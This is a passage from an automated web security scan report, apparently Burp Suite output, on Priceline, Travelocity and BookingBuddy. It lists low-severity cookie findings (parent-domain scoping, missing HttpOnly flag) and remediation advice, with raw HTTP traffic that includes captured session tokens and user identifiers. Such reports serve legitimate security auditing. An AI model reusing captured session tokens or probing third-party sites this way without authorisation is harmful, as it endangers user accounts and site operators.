BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; criteo_data=12/02/201112/04/2011BOSMIA5031; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22BOS%22%2C%22c2%22%3A%22MIA%22%2C%22st%22%3A%22roundtrip%22%2C%22ntrv%22%3A%221%22%2C%22d1%22%3A1322805600000%2C%22d2%22%3A1322978400000%2C%22t1%22%3A%22anytime%22%2C%22t2%22%3A%22anytime%22%2C%22ns%22%3A%22%22%2C%22sc%22%3A%22economy_coach%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Vary: Accept-Encoding,User-Agent
Content-Length: 0
Content-Type: text/html
Expires: Thu, 10 Nov 2011 21:53:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Nov 2011 21:53:48 GMT
Connection: close
Set-Cookie: cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; expires=Thu, 17-Nov-2011 21:53:35 GMT; path=/; domain=.bookingbuddy.com


7.11. http://www.bookingbuddy.com/tabsearches.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /tabsearches.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1 HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Content-Type: text/html
Expires: Thu, 10 Nov 2011 21:53:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Nov 2011 21:53:59 GMT
Content-Length: 43482
Connection: close
Set-Cookie: cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; expires=Thu, 17-Nov-2011 21:53:35 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:58 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:59 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; expires=Thu, 10-Nov-2011 22:53:59 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:59 GMT; path=/; domain=.bookingbuddy.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content
...[SNIP]...

8. Cookie without HttpOnly flag set  previous  next
There are 13 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



8.1. http://tickets.priceline.com/qp.asp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://tickets.priceline.com
Path:   /qp.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /qp.asp?rdr=1&ProductId=1&DepCity=BOS&ArrCity=MIA&DepartureDate=12%2F2%2F2011&ReturnDate=12%2F4%2F2011&NumTickets=1&CabinClass=ECO&refid=PLFARECAST&refclickid=FDC_AIRSEARCH&session_key=6F1410AC701410AC20111110215328921bd0227606 HTTP/1.1
Host: tickets.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; PSessKey=6F1410AC701410AC20111110215328921bd0227606; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:30 GMT
Server: Microsoft-IIS/6.0
Content-Length: 8918
Content-Type: text/html
Set-Cookie: PSessKey=6F1410AC701410AC20111110215330932c41305378; domain=.priceline.com; path=/
Cache-control: private


<html>
<head>
<meta HTTP-EQUIV="Cache-Control" CONTENT="no cache">
<meta HTTP-EQUIV="Pragma" CONTENT="no cache">
<meta HTTP-EQUIV="Expires" CONTENT="0">
<meta HTTP-EQUIV="content-type"
...[SNIP]...

8.2. http://travelb.priceline.com/airlines/fareResults.do  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:09 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=6f1410ac5564010a20111110220209fd5021609144; Domain=.priceline.com; Path=/
Set-Cookie: JSESSIONID=EA3BEF0849B1C104761E4D2A94E50FD3; Path=/airlines
Vary: Accept-Encoding
Content-Length: 353836
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...

8.3. http://travel.travelocity.com/flights/FlightFilterLog.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/FlightFilterLog.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /flights/FlightFilterLog.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
Content-Length: 244
Origin: http://travel.travelocity.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617; __utma=1.543267917.1320962024.1320962024.1320962024.1; __utmb=1.1.10.1320962024; __utmc=1; __utmz=1.1320962024.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; IPE_S_TMP_910=910; mt.ti=%7B%22dest%22:%22MIA%22,%22tripDays%22:2%7D; mt.v=1.1040137567.1320962024293; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618

ckbSummaryGridData=AA_267_7_252_8_USD_20111110155347%7Cmulti_null_0_248_16_USD_20111110155347%7CUS_null_0_274_6_USD_20111110155347%7CDL_null_0_277_7_USD_20111110155347%7CUA_null_0_354_4_USD_2011111015
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:55:14 GMT
Server: Apache
Set-Cookie: JSID=1A5BD9EAD4AE015D0FE30D9A7F63DD76.p0711; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 25

{
   "status": "success"
}

8.4. http://travel.travelocity.com/flights/FlightShoppingPackage.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/FlightShoppingPackage.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /flights/FlightShoppingPackage.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
Content-Length: 367
Origin: http://travel.travelocity.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617; __utma=1.543267917.1320962024.1320962024.1320962024.1; __utmb=1.1.10.1320962024; __utmc=1; __utmz=1.1320962024.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; IPE_S_TMP_910=910; mt.ti=%7B%22dest%22:%22MIA%22,%22tripDays%22:2%7D; mt.v=1.1040137567.1320962024293; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618

flightType=roundtrip&dateTypeSelect=EXACT_DATES&leavingDate=12%2F02%2F2011&leavingFrom=BOS&goingTo=MIA&dateLeavingTime=1200&dateReturningTime=1200&returningDate=12%2F04%2F2011&adults=1&seniors=0&child
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:55:24 GMT
Server: Apache
Set-Cookie: JSID=ABF71EFEAC72FC6B4192466810CB2679.p0741; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Set-Cookie: SID=T0072002589111110155520182811666560375; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 638

{
"packagePrice" : 393,
"url" : "FlightShoppingPackageRetrieve.do?nextAction=crossSell&currencyCode=USD&dispNewTimeStamp=&pathIndicatorCode=PKG&modifySearchInd=R&navigatorTabIndex=5&requestId=3314
...[SNIP]...

8.5. http://travel.travelocity.com/flights/FlightsItineraryService.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/FlightsItineraryService.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /flights/FlightsItineraryService.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618?flightType=roundtrip&dateTypeSelect=EXACT_DATES&leavingDate=12%2F02%2F2011&leavingFrom=BOS&goingTo=MIA&dateLeavingTime=1200&dateReturningTime=1200&returningDate=12%2F04%2F2011&adults=1&seniors=0&children=0&paxCount=1&classOfService=ECONOMY&fareType=all&filterStops=&airlineSearchPref=&membershipLevel=NO_VALUE HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; JSID=CDFC991E7BEF753CB1F6902F0A3D9288.p0616; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:53 GMT
Server: Apache
Set-Cookie: JSID=9453A110C94A32B31FD58879F92E8C88.p0706; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 55825

{
"metadata" : {
"jSessionId" : "9453A110C94A32B31FD58879F92E8C88.p0706",
"responseId" : "33141553058615",
"imageServer" : "http://i.travelocity.com.edgesuite.net/legacy/logos/",
"se
...[SNIP]...

8.6. http://travel.travelocity.com/flights/InitialSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/InitialSearch.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:31 GMT
Server: Apache
Set-Cookie: JSID=8FFF3EF3B63D0D4D8432E417447540AD.p0609; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 72798

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...

8.7. http://travel.travelocity.com/flights/SavedSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/SavedSearch.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /flights/SavedSearch.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618?operation=read&lob=AIR&_=1320962017854 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; JSID=CDFC991E7BEF753CB1F6902F0A3D9288.p0616; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:36 GMT
Server: Apache
Set-Cookie: JSID=1D50A6BB126F3AFB02E6B0CA945EED5A.p0734; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 67839

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...

8.8. http://travelb.priceline.com/sharedapps/scs  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /sharedapps/scs

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sharedapps/scs?val=91F2A0C53F594DA86880E2D3EB88F0292201E89637CACE88AB5DCEFB93CA3736FA50EACEA2F76EB5B4369A79F77ECE2E4124198210D770BBB82C79331F433BA965B577A3DEBFA0A62201E89637CACE8850BB8D88F94F6CDC8B0027E8E1144B10DA6BD0C56050B6C30307BE62C3497A80&ts=1320962089554 HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travelb.priceline.com/airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204; PSessKey=; JSessionKey=6f1410ac701410ac2011111021545868b021856785

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:30 GMT
Server: Apache
Set-Cookie: SETI=91F2A0C53F594DA86880E2D3EB88F0292201E89637CACE88AB5DCEFB93CA3736FA50EACEA2F76EB5B4369A79F77ECE2E4124198210D770BBB82C79331F433BA965B577A3DEBFA0A62201E89637CACE8850BB8D88F94F6CDC8B0027E8E1144B10DA6BD0C56050B6C30307BE62C3497A80; Domain=.priceline.com; Expires=Mon, 09-Jan-2012 04:59:59 GMT; Path=/
Vary: Accept-Encoding
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

8.9. http://www.bookingbuddy.com/js_error_log.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /js_error_log.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /js_error_log.php?msg=Uncaught%20ReferenceError%3A%20t%20is%20not%20defined&js_url=http%3A%2F%2Fwww.bookingbuddy.com%2Ftabsearches.php%3Fsearch_mode%3Dair%26ctm%3DB1A1%26source%3Dbbs_farecast_flights_HP_unchecked-box-a_001%26departure_city%3DBOS%26departure_month%3D12%2B2011%26departure_day%3D2%26arrival_city%3DMIA%26return_month%3D12%2B2011%26return_day%3D4%26search_type%3Droundtrip%26num_travelers%3D1&line=1&url=http%3A%2F%2Fwww.bookingbuddy.com%2Ftabsearches.php%3Fsearch_mode%3Dair%26ctm%3DB1A1%26source%3Dbbs_farecast_flights_HP_unchecked-box-a_001%26departure_city%3DBOS%26departure_month%3D12%2B2011%26departure_day%3D2%26arrival_city%3DMIA%26return_month%3D12%2B2011%26return_day%3D4%26search_type%3Droundtrip%26num_travelers%3D1 HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866; referrer=5031%3A%3A%3A%3A%3A%3A1320962015%3A%3A%3A%3A%3A%3Abbs_farecast_flights_HP_unchecked-box-a_001; ssource=%7B%22id%22%3A5031%2C%22unique_name%22%3A%22bbs_farecast_flights_HP_unchecked-box-a_001%22%2C%22type%22%3A%22traq%22%2C%22marketing_partner%22%3A%22bing_travel_farecast%22%7D; vid=4ebc47df2402b8.69944490; pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; pb_bb_ab_display_ad=ab27bdc55c84037164090e1899a80c45a%3A1%3A%7Bs%3A16%3A%22bb_ab_display_ad%22%3Bs%3A21%3A%22bb_display_ad_enabled%22%3B%7D; pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; criteo_data=12/02/201112/04/2011BOSMIA5031; 